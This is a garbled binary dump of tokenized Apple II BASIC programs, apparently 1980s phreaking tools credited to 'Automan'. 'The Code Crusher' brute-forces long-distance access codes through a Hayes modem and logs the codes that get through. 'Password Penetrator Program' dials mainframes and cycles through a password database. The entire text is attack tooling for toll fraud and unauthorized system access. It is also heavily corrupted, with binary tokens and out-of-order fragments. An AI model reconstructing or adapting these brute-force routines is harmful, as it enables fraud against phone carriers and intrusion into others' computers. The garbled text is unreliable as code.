NUMBER DIALED: ";" DRĺ"FIRST NUMBER":3:"IN CURRENT RA &1690* 0BUSY0:HH10:H32H1:VV1X :V19Ĺ35,19:34,3:912:34,0:35,2:V19_ D0i N1950~ XSN$NUM$:NUM$"" b1 lDRĂRN vRM0 X 1970 DELAY P11000:  QUIT AND DISPLAY NUMBERS DR20400!,0:16304,0:16299,0:16302,0:1690BR$"T"Ĺ16303,0:1690sR$"N"Ģ1:2190:V:H:NUM$;::"N"::1840BUSYR62R63BUSYBUSY1R43R44R$"R"İ2190:1560R62RD$""1830BUSYRDĢ1:2190:V:H::NUM$::184055:1940INPUT LOOP%0:SL@PR$"N"ĺ"?";:R$:R$QPR$"Y"ĄR$]R(R$)lCONNECTR1R5SN$(C1)NUM$:CC1:1:2190:V:H::NUM$::SN$NUM$:2380:1840NO CARRIERR31840R$"Q"1970&R$"G"Ĺ162971 MN$""3MN$WA$(NU$,3)(NU$,4)F1940:SL:150X"EX$"Y"1600h,"ATDT";MN$r61660@"ATDT";JEA$;(LD$,3);(LD$,4);TPR$"Y"ĺ"W DT";CO$;",";MN$:1660^";"hTI%D1:2830r150:"ATDT";CO$;",";MN$|2SESINCDRRMāRN1RMaDRRMBL%BL((ESXBL))(ESX1)((ESXBL)):2650:RN1BL%h0uNUM$PF$NUM$NUM$"-"DRNXRN(RN)1:1480NXI13:N(10I)NUM$NUM$"0"INUM$NUM$(N)255:V:H:NUM$E TIME, CARRIER DETECT%"ATS9=4"-A$7 1940Q<COMMA DELAY LENGTHkF"ATS8=";D2:A$:1940PESCAPE CODE DEAD TIMEZ"ATS12=25":A$:1940_SPEAKER ON/OFFa"ATM";(SP$"Y"):A$:1940d0:255nDIALING LOOPxXS940 jNUMERIC RESULT CODES (tSL?~"ATV";2(PR$"Y")GA$Q1940bNO ANSWERz"ATS0=0":A$:1940DELAY BEFORE HANGUP"ATS7=";DL$A$1940DIALING SPEED"ATS11=";TS$A$1940 RESPONS::": NUMBER SKIPPED BEFORE HANGUP"::"INVERSE";::": BUSY - ABORTED BEFORE ANSWER"::3:"FLASH";::": SUCCESSFUL CONNECT"3:I140:"-";:I35,2$.SL:1008"ATZ":1950B INITIALIZE MODEMLNOCEHOV"ATE0"`1RD(RD$):g16:"SPEAKER ON?-> ";:DE$SP$:LN1:LE1:3010:NU$"Y"NU$"N"ĺ"";:987sSP$NU$::12:"CORRECT? Y";:1008:CH$CH$"N"9001:ZQ12:ZQ:868::HM::20:I140:"-";:I21:7::"N";NG":9:9:"(30-255 MILLISEC.)->";:DE$TS$:LN3:3010Y(NU$)30(NU$)255ĺ"":930oTS$NU$:TS(TS$)PR$"N"98511:12:"REDIALS ON BUSY->";:DE$RD$:LN2:LE1:3010:RD$NU$:RD$""Ė30:"NO LIMIT";:990(RD$)0ĺ"";:RD$"":960CBL/p:12:"CORRECT? Y";:1008:CH$@zCH$"N"510F5:3:"TIME TO WAIT FOR CARRIER":15:"(1-255 SEC.)->";:DE$DL$:LE1:LN3:3010:NU$(27)510(NU$)1(NU$)255ĺ"":910DL$NU$:WC(DL$)58:9:"TOUCH TONE SPACI:::12);"THE CODE CRUSHER";41):13);"LOAD DATA FILE";41);:::34,1b D%1: DEFAULT DRIVE SP$"Y": DEFAULT SPEAKER STATUS DRIVE SELECT 6:1211(D%2)::"DRIVE ";D%;::2311(D%2)::"DRIVE ";D%(D%2)(D%1); 16384,128:$"":D15:D22: EXTENDER PARMSn SC$"00000000":EC$"99999999":TN$"": START/END CODES, TEST NUMBER DG$"6":INC1: DIGITS/INCREMENT DL$"10":TS$"60":RD$"3": DELAY B/F DISONNECT, TOUCH-TONE SPEED, # OF REDIALS (PROMOTHEUS)I HM: HACKAMATIC":21706 n255:T4:I17141:I:2110:c x200:M1:X29121:X:(C$,M,1);" ";v MM1:M5M1 :T15:255 255:13:12:I115:2110: 255 DEFAULT VALUES SL$"2": SLOT PR$"N": PROMOTHEUS AC$"":LD244 <SN$(200) FV4:H1' P:HM ZT15:220::8:5:A$"AUTO'S AUTOMATIC CODE CRUSHER":2170:10:15:A$"WRITTEN BY:":2170:12:13:A$"A U T O M A N":2170:13:13:A$"~~~~~~~~~~~~~":2170 d15:15:A$"PART II OF:":2170:17:10:A$"THE HAYES!? %%%%%%%%%%%%%%%%%%%%%%%% CODE CRUSHER 1.2 %%%%%%%%%%%%%%%%%%%%%%%% WRITTEN BY: A U T O M A N %%%%%%%%%%%%%%%%%%%%%%%% LIST THIS IN 80 COLUMNS (D$(13)(4) 2HM(175)(176)256          ' (ɠ 8(,000'ܥ`,000'ܥ`LN3. 31604. (NU$)0DE$""LE0ĺ"";:3160K. RFNU$DE$:3360]. LN(NU$));. RX:" ";:RXL01:" ";:N$"":DE$"":DE0:LN0:L00:A0:LE0:' (ɠ 8(,000'ܥ`"":DE$"":DE0:LN0:L00:A0:LE0:0$- (NU$)1ĺ" ";:NU$"":31604- "";:3160Y- LE(A$"0"A$"9")ĺ"";:3160y- (A$)27LE1NU$A$:3360- LE(A$)32ĺ"";:3160- (NU$)LN1ĺ"";:3160- (A$)32ĺ"";:3160- A$;. NU$NU$A$:(A$)16(NU$,1)A$LN ";::"]";1,D R1LN1(DE$):1008::NU$DE$M,N (DE$,1)(16)LNLN3U,X A$e,b A$""3160},l A$(13)RFRF1,v A$(13)3330, A$(8)3250, (NU$)0ĭ((NU$,1))32ĺ" ";:LNLN1- (NU$)1ĺ" ";:NU$(NU$,(NU$)1):316+ RETURNS: NU$=NUMBER&+ L0LN1+ NU$""@+ RX(36)1J+ "[";x+ DE$""āR1LN:" ";::"]";:RX1:3160+ R1(DE$):T$(DE$,R,1):(T$)32ĺ"^";((T$)64);:LNLN1:3110+ T$;+& +0 (DE$)LNĺ"]";:3140 ,: R1LN(DE$):"(N$,(N$)1):2910$* N$"":2910k* ((DI$)48)((DI$)57)((N$)84A4S)ĺDI$;:N$N$DI$:2890* DI$(13)(N$)84A4SS0:* "";:2910* INPUT CHAR STRING, MAX LENGTH=LN + PASS IN: DEFAULT=DE$, LE=1 (IF LETTERS ALLOWED)H0:V0:%)6 INPUT A PHONE NUMBER.)@ N$;N)J S(N$)3ĺ"-";:N$N$"-"m)T A(N$)7ĺ"-";:N$N$"-")^ 16384,128:DI$)h DI$(8)2980)r (N$)4Sĺ(8);:N$(N$,3))| (N$)8A1ĺ(8);:N$(N$,7)) (N$)0ĺ" ";* (N$)1N$RR$,TMP2)( Z1( <( GENERATE RANDOM MASKING TAPEG( RR$""T( Z0199k( Z010BH$BH$"0"}( BH$BH$(Z0)( Z0( ( DELAY2( V0(37)1:H0(36)1:255:0(" PTI%01:1:28:"WAITING...";P;" ";:P21500:P2,P ), SL:A$):(A$,R,1);(C$,M,1);(8);+'2 M5M11'< ;'F 2510A'P \'Z RANDOM NUMBER TABLEf'd RMır'n RR$BH$'x 1:26::"SHUFFLING:":' Z1BL%11' 1:38:Z1;" ";' TMP((1)Z1)21' RN(Z1)((RR$,TMP,2)) ( RR$(RR$,1,TMP1)( C:R1C:SN$(R):R:I$"R"ĺRM%:RRNRNRM%1:RN(R):RK& D$;"CLOSE"Q& _& CURSOR& C$"!/-\":M1:R1T:(C$,M,1);(8);:MM1& M5M1& & " ";& & CUTEPRINT& 2510& (16384)128Ĺ16368,0:200'( M1:R1(R$"Q"SC$NUM$:1640SR$"G"Ĺ16297,0:16304,0:16299,0:16302,0:1360oR$"T"Ĺ16303,0:1360R$"N"Ģ1:1800:V:H:NUM$;::"N"::1500BUSYR62R63BUSYBUSY1R43R44R$"R"İ1800:1250R62RD$""1490(150:"ATDT";NUM$;",";MN$+2255:1590=<INPUT LOOPHF0:SLcPPR$"N"ĺ"?";:R$:R$tUPR$"Y"ĄR$ZR(R$)dCONNECTnR1R5SN$(C1)NUM$:CC1:1:1800:V:H::NUM$::SC$NUM$:2000:1500xNO CARRIERR31500INC 0&NUM$((X),((X))1)BH(NUM$)39H1:VV1RH:V:NUM$Y1MN$"":MN$(TN$,1,3)(TN$,5,3)(TN$,4)SL:150"ATDT";AC$;(LD$,3);(LD$,4); PR$"Y"ĺ"W DT";NUM$;",";MN$:1330";"DLD1:1600TL"ATS9=3"VA$"`1590<jCOMMA DELAY LENGTHVt"ATS8=";D2:A$:1590s~ESCAPE CODE DEAD TIME"ATS12=25":A$:1590SPEAKER ON/OFF"ATM";(SP$"Y"):A$:15900:255 DIALING LOOPX("1"SC$)("1"EC$)LT CODES SL)"ATV";2(PR$"Y")1A$;1590LNO ANSWERd"ATS0=0":A$:1590DELAY BEFORE HANGUP"ATS7=";(DL)A$1590DIALING SPEED$"ATS11=";TS.A$81590B RESPONSE TIME, CARRIER DETEC"N";::": NUMBER SKIPPED BEFORE HANGUP"::"INVERSE";::": BUSY - ABORTED BEFORE ANSWER"::3:"FLASH";::": SUCCESSFUL CONNECT"\3:I140:"-";:f35,2pzSL:150NOCEHO"ATZ":1590"ATE0"1590 NUMERIC RESU810* TS(TS$):TS30TS255ĺ"":7802":%16:"SPEAKER ON?-> ";:DE$SP$:LN1:LE1:2390:NU$"Y"NU$"N"ĺ"";:805'SP$NU$*::12:"CORRECT? Y";:1008:CH$4CH$"N"700>HM::H20:I140:"-";:IR21:7::"780M7::2:"HOW MANY REDIALS ON BUSY?-> ";:DE$RD$:LN2:2390:RD$NU$tRD$""Č998:30:"NO LIMIT":780RD(RD$) 10:9:"TOUCH TONE SPACING":11:9:"(30-255 MILLISEC.)-> ";:DE$TS$:LN3:2390:TS$NU$TS$""TS70:19:30:"70":HM::::12);"THE CODE CRUSHER";12):2:12);"MODEM PARAMETERS";12);:::34,15:3:"TIME TO WAIT FOR CARRIER":15:"(1-255 SEC.)-> ";:DE$DL$:LN3:LE1:2390:NU$(27)450(NU$)1(NU$)255ĺ"":710DL$NU$:DL(DL$)PR$"Ym18:1:"ENTER A NUMBER KNOWN TO EMIT A CARRIER:":19:13:"[XXX-XXX-XXXX]";:14:N$TN$:A1:2250:TN$N$21:3:"DELAY BEFORE DIALING NO.-> ";:DE$(D2):LN2:2390:D2(NU$)24:12:"CORRECT? (Y/N) Y";:A$A$"N"700A$"":450UEC$,DG):2390:(NU$)DGĺ"";:5900XEC$NU$wb15:18:"INCREMENT->";:DE$(INC):LNDG:2390:(NU$)1ĺ"":610lINC(NU$)vPR$"Y"Ģ16:2:"DELAY BEFORE DIALING CODE-> SEC.";:30:LN2:DE$(D1):2390:(NU$)1ĺ"":630D1(NU$)&8:6:"NO. OF DIGITS IN CODE->";:LN1:DE$DG$:2390:(NU$)8(NU$)1ĺ"";:550k0DG$NU$:DG(DG$):14:9:"STARTING CODE:":20DG2:LNDG:DE$(SC$,DG):2390:(NU$)DGĺ"";:570DSC$NU$$N15:12:"ENDING CODE:":20DG2:LNDG:DE$(ĺ"";:490PR$NU$"SN$""~5:12:"ENTER AREA CODE-> ";:DE$AC$:LN4:LE1:2390:AC$NU$:AC$""Ė30:"LOCAL":540(AC$)100(AC$)1999AC$"":"";:5206:2:"LONG DIST. SERVICE NUMBER-> [XXX-XXXX]";:31:N$LD$:LN7:2250:LD$N$UL$""-::12);"MODEM PARAMETERS";41):t13:3:"SLOT OF MODEM?->";:DE$SL$:LN1:LE1:2390:NU$(27)240(NU$)1(NU$)7ĺ"";:460SL$NU$:SL(SL$) 4:3:"USE PROMOTHEUS PROMODEM?->";:DE$PR$:LN1:LE1:2390:NU$"Y"NU$"N"0 r440U|(222)6Ģ17:5:"FILE NOT FOUND...CREATE? ";:A$:A$"Y"310(222)6Ģ19:16:"ERROR #";(222):13:"PRESS ANY KEY: ";:A$:310D$;"OPEN";DF$;".CC"D$;"WRITE";DF$;".CC"0D$;"CLOSE":216,0SL$"0"SA$:A$(13)310# "A$(27)17508 ,D%1(D%1):270 612:958:11:"ENTER DATA FILE NAME:":13:13:"(.CC IS APPENDED)":15:10:LN20:LE1:DE$DF$:2390:NU$""440 @NU$(27)240 JDF$NU$ T380 ^D$;"UNLOCK";DF$;".CC"",D"D%h1884)2 3D$;"BLOAD AMPERBAR":D$;"BLOAD INPUT SCAN"k 7HM936: HM = PEEK (175) + PEEK (176) * 256 - 243 9IS36868:SA36864:IT36865 <PW$(500),DL$(35),M$(20) ADB$"GENERIC P/W FILE" FBD(1)300:BD(2)1200 PZQ13:RS(ZQ)(1009ZQ):] UP: %%%%%%%%%%%%%%%%%%%%%%%% PPP 1.0 %%%%%%%%%%%%%%%%%%%%%%%% WRITTEN BY: A U T O M A N %%%%%%%%%%%%%%%%%%%%%%%% 32767:TP%250:BOT%251:LF%252:RT%253(1013,76:1014,0:1015,128 2D$(13)(                          !!! ! ! ! ! !!!!!!!!(((м &(ʊ &(ʊ &(о '( '(0 '(,0,0Ю`,0,0Ю` '(,0,0Ю`(A$)16(NU$,1)A$LNLN3'( 2540M( (NU$)0DE$""LE0ĺ"";:2540d( RFNU$DE$:2740v( LN(NU$));( RX:" ";:RXL01:" ";:N$"":DE$"":DE0:LN0:L00:A0:LE0:)(( &(ȑ(0ȩ( :NU$(NU$,(NU$)1):2540='2 (NU$)1ĺ" ";:NU$"":2540M'< "";:2540r'F LE(A$"0"A$"9")ĺ"";:2540'P (A$)27LE1NU$A$:2740'Z LE(A$)32ĺ"";:2540'd (NU$)LN1ĺ"";:2540'n (A$)32ĺ"";:2540'x A$;( NU$NU$A$:520$& R1LN(DE$):" ";::"]";J& R1LN1(DE$):1008::NU$DE$f& (DE$,1)(16)LNLN3n& A$~& A$""2540& A$(13)RFRF1& A$(13)2710& A$(8)2630& (NU$)0ĭ((NU$,1))32ĺ" ";:LNLN1'( (NU$)1ĺ" ";LE=1 (IF LETTERS ALLOWED)5%j RETURNS: NU$=NUMBER?%t L0LNJ%~ NU$""Y% RX(36)1c% "[";% DE$""āR1LN:" ";::"]";:RX1:2540% R1(DE$):T$(DE$,R,1):(T$)32ĺ"^";((T$)64);:LNLN1:2490% T$;% & (DE$)LNĺ"]";:20ĺ" ";-$$ (N$)1N$(N$,(N$)1):2290=$. N$"":2290$8 ((DI$)48)((DI$)57)((N$)84A4S)ĺDI$;:N$N$DI$:2270$B DI$(13)(N$)84A4SS0:$L "";:2290$V INPUT CHAR STRING, MAX LENGTH=LN %` PASS IN: DEFAULT=DE$, ,1);(8);#M5M1#&#2110,#>#GET NUMBERG#N$;g#S(N$)3ĺ"-";:N$N$"-"#A(N$)7ĺ"-";:N$N$"-"#16384,128:DI$#DI$(8)2360# (N$)4Sĺ(8);:N$(N$,3)# (N$)8A1ĺ(8);:N$(N$,7) $ (N$)S$:PR$"Y"ĺRD$&" C:R1C:SN$(R)6"*D$;"CLOSE"<"4J">CURSORz"HC$"!/-\":M1:R1T:(C$,M,1);(8);:MM1"RM5M1"\"f" ";"p"zCUTEPRINT"2110"(16384)128Ĺ16368,0:160 #M1:R1(A$):(A$,R,1);(C$,MY"ĄRD$!C:R1C:SN$(R):/!D$;"CLOSE"5!F! PUT FILEQ!216,0b!DF$""2100l!1002!D$;"DELETE "DF$".CC"!D$;"OPEN "DF$".CC"!D$;"WRITE "DF$".CC"!SL$:PR$:AC$:LD$:D1:D2! DG$:SC$:EC$:INC:TN$"DL$:T"A":ZQ15:1580:ZQ:"+++";:ZQ15:1580:ZQ: 0"ATH"D :1580K D0V N255:l XREAD FILE DATA bD$;"OPEN "DF$".CC" lD$;"READ "DF$".CC" vSL$:SL$"0"1960 PR$:AC$:LD$:D1:D2 DG$:SC$:EC$:INC:TN$!DL$:TS$:PR$"5:"CODES HACKED:":I1C1I;".",SN$(I)7::8:"QUIT THE CRUSHER? (Y/N)";:16384,128:A$((16384)128):A$"Y"Ĺ16368,0:1002:17801002:D$;"BRUN HACK HELLO,D1"HM:HANG UP0SL/ &100:0::@DELAY2J255:0ZTPDL01:1:28:"WAITING...";P;" ";:P21500:P2,Pf^:SL:hQUIT AND DISPLAY NUMBERSr1800|HM::1002:2000"LAST CODE DIALED: ";SC$C0Ė10:"NO SUCCESSFUL CODES":1750+BUSYRDĢ1:1800:V:H::NUM$::150051360ZBUSY0:HH10:H39DGH1:VV1V19Ĺ35,19:34,3:912:34,0:35,2:V1901590SC$(("1"NUM$)1):SC$(SC$,(SC$)1):NUM$""1X"1640,DELAY6P1100 DATA FILE";41)::34,2:(662:980;NU$(27)270E325fD$;"UNLOCK "DF$".PPPMF,D"D%:15::"LOADING...":D$;"OPEN "DF$".PPPMF"D$;"READ "DF$".PPPMF"SL$:PR$:EX$:EX$"Y"ĄAC$:LD$:CO$:D1:D2MA$:MF$:B%:D(27)DB$NU$)DRIVE SELECT|6:1211(D%2)::"DRIVE ";D%;::2311(D%2)::"DRIVE ";D%(D%2)(D%1);16384,128:A$:A$(13)ıA$(27)ġ:QF0:270D%1(D%1):665LOAD MF FILE2:1::9);"LOAD MAINFRAMEND$;"CLOSE"KSPN0ĺ:13:"FILE IS EMPTY":14:"PRESS ANY KEY: ";:A$[X216,0:27010:1:868:9:"PASSWORD DATABASE NAME:":11:10:"(.PPPDB IS APPENDED)"13:10:LN19:MP$""DE$MP$:657DE$DB$13:10:LN19:LE1:6750:NU$1)::34,2:662:650-NU$(27)2707325WD$;"UNLOCK"DB$".PPPDB,D"D%w& GET P/W'S FROM DATABASE(:15::"LOADING...":+D$;"OPEN "DB$".PPPDB"0D$;"READ "DB$".PPPDB"5PN:PN0590?R1PNDPW$(R)I PPDB":D$;"WRITE "DB$".PPPDB":PN:C1PN:(34);PW$(C):I1D$;"CLOSE"Y6216,0:270k@(222)6297E:13:"DOS ERROR #";(222):13:"PRESS ANY KEY: ";:A$:216,0:270LOAD PASSWORD DATABASE 2:1::10);"LOAD PASSWORD DATABASE";42:1::10);"SAVE PASSWORD DATABASE";41)::34,2:PN0Ģ12:9:"NO DATABASE IN MEMORY":12:"PRESS ANY KEY: ";:A$:270662:650NU$(27)270"320'D$;"DELETE "DB$".PPPDB,D"D%):16::"SAVING...":9,D$;"OPEN "DB$".P255:54915:180*TERMINAL MODE:34,1::2::14);"TERMINAL MODE";41)::34,2:35,20:21:1:C140:"-";:C:22:10:"TYPE ";::"CTRL-A Q";::" TO EXIT":(SL$):(1);"T":(SL$):(1);"E E":0:1002:SAVE PW DATABASE743500V44275'V45İ15008V46İ1000IV47İ5000V48DF$""Ģ18:2:"DESTROY MODEM/HACK PARAMETERS? [Y/N]";:A$:A$"Y"270V48Į:162 V49İ272 V4105250 V411Č1002:992 V4126110:;41);!:LF%,9:RT%,32:V:IM16384,128:A$:A$(8)A$(11)VV1jA$(21)A$(10)VV1|A$(13)251V16V5V5(V16)16(V5)V0:RT%,8(M$(V0)):N:V:RT%,8(M$(V)):I:V0V:220V41700V42800V:20:1:7);"CURRENT MAINFRAME DATA FILE:";41);:21:DF$""Ģ21:1:19);"NONE";41);:20721:1:20(DF$)2);DF$;41);22:1:8);"CURRENT PASSWORD DATABASE:";41);:DB$""PN0Ģ23:1:19);"NONE";41);:21023:1:20(DB$)2);DB$ME DATA FILE,SAVE MAINFRAME DATA FILE,LOAD PASSWORD DATABASE,SAVE PASSWORD DATABASE,EDIT DIALOGUE,EDIT PASSWORD DATABASE,SET MODEM PARAMETERS,RESTORE DEFAULTS,TERMINAL MODE,HACK AT IT,ENTER DOS COMMAND,QUITV5:V05C516:C:M$(C):9:M$(C):_POSITION POINTER3IT$"2": TIME TO WAIT FOR PWmD%1:SP$"Y": DEFAULT DRIVE/DEFAULT SPEAKER STATUSCT$"N": CASE TOGGLEHM::::7);"PASSWORD PENETRATOR PROGRAM";6):12);"WRITTEN BY AUTOMAN";41)::34,1270LOAD MAINFRANE SPACING/ BP$"": MF RESPONSE TO BAD P/WO BB0: BAD P/W BRANCH LINEu PA10: P/W ATTEMPTS BEFORE RESET RL0: RESET LINE DR5: DELAY BEFORE RESET SP255: OUTPUT SPEEDDB$"ALL PURPOSE P/W'S":PP%1: P/W DATABASE NAME AND : SLOT PR$"N": PROMOTHEUS7 EX$"N": EXTENDERl AC$"":LD$"":CO$"":D15:D22: EXTENDER PARMS MA$"": MF AREA CODE MF$"":B%2: MF # AND BAUD RATE (DEFAULT BAUD=1200) DL$"10": TIME TO WAIT FOR CARRIER TS$"60": TOUCH TO~~~":6530V n15:14:A$"PART III OF:":6530:17:10:A$"THE HAYES HACKAMATIC":6530z x255:T4:I17141:I:6470: 200:M1:X29121:X:(C$,M,1);" "; MM1:M5M1 :T15:255 255:13:12:I115:6470: 255 SL$"2"896,32:897,234:898,3:899,162:900,20:901,76:902,18:903,212:1010,128:1011,3:1012,166e ZHM dT15:220::8:3:A$"AUTO'S PASSWORD PENETRATOR PROGRAM":6530:10:15:A$"WRITTEN BY:":6530:12:13:A$"A U T O M A N":6530:13:13:A$"~~~~~~~~~~21)A$(10)1686)wDOWNI)|PP1:PDL1FFĺ"";:PDL1FF:1590P)Um)PDL6Ģ19:PVP7:3000)FFĢ23:35::P;37);::12:1:1590)1590)A$"E"1710)PDLĺ"";:1590*12:10::DE$DL$(P):LE1:LN28:6750:DL$(P)NU$:C:PVC:3000("!(,12:I:P1<(6FFPDLA$(8):1595T(812:16384,128:A$k(9A$(27)FF2100~(;FFA$(13)ı(@A$(8)A$(11)1650(AUP(JPP1:P1RRĺ"";:P1RR:1650(TD(YP8Ģ3:PVP9:3000([1682)rA$(':23:" <^P> AT FIRST OF LINE: ENTER PASSWORD "f'24:" AT FIRST OF LINE: IGNORED";40);:'LF%,1:RT%,39:TP%,3:BOT%,19'35,20:'1:11:DL$(0)"[CONNECT TO MAINFRAME SYSTEM]":"0 - PPP: ";DL$(0)'C18' CDL1580 (11AVE PW FILE&(&PRINT PASSWORDE&3:PV;7);"- ";PW$(PV);K&`&EDIT DIALOGUE&2:1::13);"DIALOGUE EDITOR";12);::34,2:&21::" : MOVE CURSOR LEAR "&:22:" NSERT ELETE DIT INISHED "3$A$"N"13254%%PPN::PVP8:C412:PV11319A%&C:1415O%'PVPV1:`%(12:I:1050r%-A$"F"1399%220:2::"FIND:";::" ";:LN30:LE1:6750:FF$NU$%7FPPN:(PW$(F),(FF$))FF$PF:1345%<F:PPN1%A1240%w1050 &xS8:C419:PV11255"$C:1415:$PVPV1:PVPNC20@$Q$12:I:1050k$A$","A$"<"1315x$UP 10$PP10:P1P1$$ PVP8:C419:PV11300$C:1415$PVPV1:PVPNC20$$12:I:1050$#A$"B"1025%N*#PVP:12:958:C1219:PVPN1210?#C:1415:PVPV1E#P#12:I#A$"C"Ģ20:7::"CLEAR:";::" ARE YOU SURE? ";:A$:1:868:12:1:A$"Y"PN0:1025#A$"."A$">"1270#DOWN 10#PP10:PPNPPN#$PVP:LE1:LN30:6750:PW$(P)NU$:PVP:1415::A$(21):1100K"A$"D"1220Y"DELETEt"PN0PPNĺ"";:1050"20:7::"DELETE:";::" ARE YOU SURE? ";:A$:1:868:A$"Y"1050"CP1PN:PW$(C1)PW$(C)::PW$(PN)" ":PNPN1#12::8::DE$PW$(P):LE1:LN30:6750:PW$(P)NU$:PVP:1415::1050Q!oA$"I"1170_!tINSERTw!yPN499ĺ"";:1050!~CPN1P11:PW$(C)PW$(C1)::PW$(P)" ":PNPN1!PVP:12:1:958:C1219:C:1415:PVPV1:PVPNC20!9"12:I:8: .PP1:P1ĺ"";:P1:1090$ 3D= 8P8Ģ4:PVP8:1415G =1050e BA$(21)A$(10)1115q GDOWN LPP1:PPN1ĺ"";:PPN1:1050 QU VPPN6Ģ19:PVP7:1415 X1050 [A$"E"1135 `EDIT ePPNĺ"";:1050?!j12T ELETE DIT IND";40)_24:1:" [ARROWS] MOVE 1 [<,>] MOVE 10";40):l35,20:C18:CPN1040 11C:PVC:141512:I:P112:16384,128:A$A$(27)1400$A$(8)A$(11)1090)UP";:16368,0:A$2707EDIT PASSWORD DATABASEr2:1::8);"PASSWORD DATABASE EDITOR";8);::34,2:LF%,3:RT%,39:TP%,4:BOT%,19:21:16);"COMMANDS:";40):22:1:" LEAR EGINNING ED";40)$23:1:" NSERN19:DE$DF$:LE1:6750:NU$(27)DF$NU$1JENTER DOS COMMANDT325:2:1::15);"DOS COMMAND";41)::34,211:12:"ENTER DOS COMMAND:":13:1:LN37:LE1:6750:NU$(27)270D$;NU$:(NU$,7)"CATALOG"ĺ:"PRESS ANY KEY: RL:DR:(34);RB$:IT$:SP:(34);DB$:PP%:CT$:PP:C1PP:PP$(C):C:DL:C1DL:DL$(C):lRD$;"CLOSE"vTQFıW216,0:270\(222)6825a32010:1:868:8:"MAINFRAME DATA FILE NAME:":11:10:"(.PPPMF IS APPENDED)"+13:10:L2:980,NU$(27)QF0:270)/860J4D$;"DELETE "DF$".PPPMF,D"D%e9:16::"SAVING...":>D$;"OPEN "DF$".PPPMF":D$;"WRITE "DF$".PPPMF"CSL$:PR$:EX$:EX$"Y"ĺAC$:LD$:CO$:D1:D2HMA$:MF$:B%:DL$:TS$\M(34);BP$:BB:PA:L$:TS$TBP$:BB:PA:RL:DR:RB$:IT$:SP:MP$:PP%:CT$:PP:C1PP:PP$(C):CwDL:C1DL:8000:DL$(C)IN$:D$;"CLOSE"MP$""500216,0:270 SAVE MF FILE%2:1::10);"SAVE MAINFRAME DATA FILE";41)::34,2:*6684,128:A$:A$(13)5119/9B%1(B%1):5112U9::12:"CORRECT? (Y/N) Y";:A$g9A$"N"5140y9 A$""::5005995:3:"TIME TO WAIT FOR CARRIER":15:"(1-255 SEC.)->";:DE$DL$:LN3:67509((NU$)1(NU$)255ĺ"":5150 :2DL$NU$:10728(MA$)100(MA$)1999MA$"":"";:5104L8MA$""Ė30:"LOCAL "8:5:"MAINFRAME PHONE NUMBER-> [XXX-XXXX]";:31:N$MF$:LN7:6610:MF$N$8:18:"BAUD RATE->";8306(B%2)::BD(B%);::366(B%2):BD(B%(B%2)(B%1));9163LAY BEFORE DIALING CODE-> SEC.";:29:LN2:DE$(D1):6750:(NU$)1ĺ"":5090a7D1(NU$)713:4:"DELAY BEFORE DIALING MF->";:DE$(D2):LN2:6750:D2(NU$)7:78:"MAINFRAME AREA CODE->";:DE$MA$8LN4:LE1:6750:MA$NU$:MA$""5:AC$NU$:AC$""Ė30:"LOCAL ":5070S6(AC$)100(AC$)1999AC$"":"";:505068:2:"LONG DIST. SERVICE NUMBER-> [XXX-XXXX]";:31:N$LD$:LN7:6610:LD$N$64:10:"ACCESS CODE: ";:LN20:DE$CO$:6750:CO$NU$6PR$"Y"5100S712:2:"DE;:DE$PR$:LN1:LE1:6750:NU$"Y"NU$"N"ĺ"";:5022D5PR$NU$56:5:"USE AN EXTENDER? ->";:DE$EX$:LE1:LN1:6750:EX$NU$:EX$"Y"EX$"N"ĺ"";:50355EX$"N"51025SN$""$67:12:" EXT. AREA CODE->";:DE$AC$:LN4:LE1:6750(DL$(PV),1)""PV2(PV2)ĺ"

";54 DL$(PV);?4 12:y434,1:::2:12);"MODEM PARAMETERS";12);:::34,2413:4:"SLOT OF MODEM?->";:DE$SL$:LN1:6750:SL$NU$4SL(SL$):SL1SL7ĺ"":5000855:3:"USE PROMETHEUS PROMODEM?->"25203 PP13 12:U63 PDL6Ģ19:PVP7:3000B3 PZZıL3 2560`3 PRINT ELEMENTk3 216,0w3 1:PV;3 PV2(PV2)ĺ4);"- PPP: ";:30403 4);"- SYS: ";3 DL$(PV)""ĺ"";:30803 DL$(PV)(27)ĺ"";:3080'4 8 2 CT$NU$p2 23:1:868:9:"START AT PASSWORD # ";:DE$(PP%):LN3:6750:(NU$)1(NU$)500ĺ"":20602PP%(NU$)24FF0:2 SCROLL TO RIGHT POS2 PZZı2 PZZ25602 PP12 12:D2 P8Ģ3:PVP9:30002 PZZı3 E$IT$:6750:(NU$)0ĺ"";:2054.1IT$NU$121:1:958:7:"OUTPUT SPEED <0-255>: ";:LN3:DE$(SP):6750:(NU$)255ĺ"";:20551 SP(NU$)2 22:1:868:4:"CASE TOGGLE ON PASSWORDS? ";:DE$CT$:LE1:LN1:6750:NU$"Y"NU$"N"ĺ"":205RB$021:1:958:"MAINFRAME RESPONSE TO INVALID PASSWORD":5:"ON LAST ATTEMPT BEFORE RESET:":"SYS: ";:LE1:LN28:6750:RB$NU$:RB$""ĺ"":2053"121:1:958:2:"TIME TO WAIT FOR BAD PW MESSAGE:":2:"(TIMES APPROXIMATELY 5 SECONDS) ";:LN1:D2030/PA(NU$)v/22:1:958:"DELAY BEFORE RESET <0-255 SEC.>: ";:LN3:DE$(DR):6750:(NU$)255ĺ"";:2037/DR(NU$)/RR1:23:1:" RESET TO LINE: (";RL;")";:ZZRL:2500:1682:RR0/RLP/RB$""DE$BP$:20530DE$LE1:DE$BP$:LN28:6750:BP$NU$:BP$""ĺ"":2005.23:1:" BRANCH ON BAD PW TO LINE: (";BB;")";:ZZBB:2500:FF1:12:1:1682.BBP.21:1:958:" # OF PW ATTEMPTS BEFORE RESET? ";:LN2:DE$(PA):DE$"0"DE$""/6750:(NU$)0ĺ"":E YOU SURE? ";:A$:1:868:12:1:A$"Y"DL0:1525D-1590f-C1DL:(DL$(C),1)""2005l--20:8:"PASSWORD MUST BE ENTERED";:15903.35,24:20:1:C140:"-";::21:1:958:"MAINFRAME RESPONSE TO INVALID PASSWORD:":"SYS: ";:RLRL2,PBB1BBBB2^,CP2DL:DL$(C2)DL$(C)::DL$(DL)" ":DL$(DL1)" ":DLDL2p,12:N:13:N,PVP:12:1:958:C1219:PVDL1760,C:3000:PVPV1,,12:I:1590,A$"F"2000:-A$"C"Ģ20:7::"CLEAR:";::" ARE1:LN28:6750:DL$(C)NU$:1:PVC:3000::CPĢ12:U:PP1:PDL6Ģ19:PVP7:3000c+::1590u+A$"D"1770+DL2PDL1ĺ"";:1590+13:I:20:7::"DELETE:";::" ARE YOU SURE? ";:A$:1:868:A$"Y"Ģ13:N:12:1590,PRL11:PVP:3000: 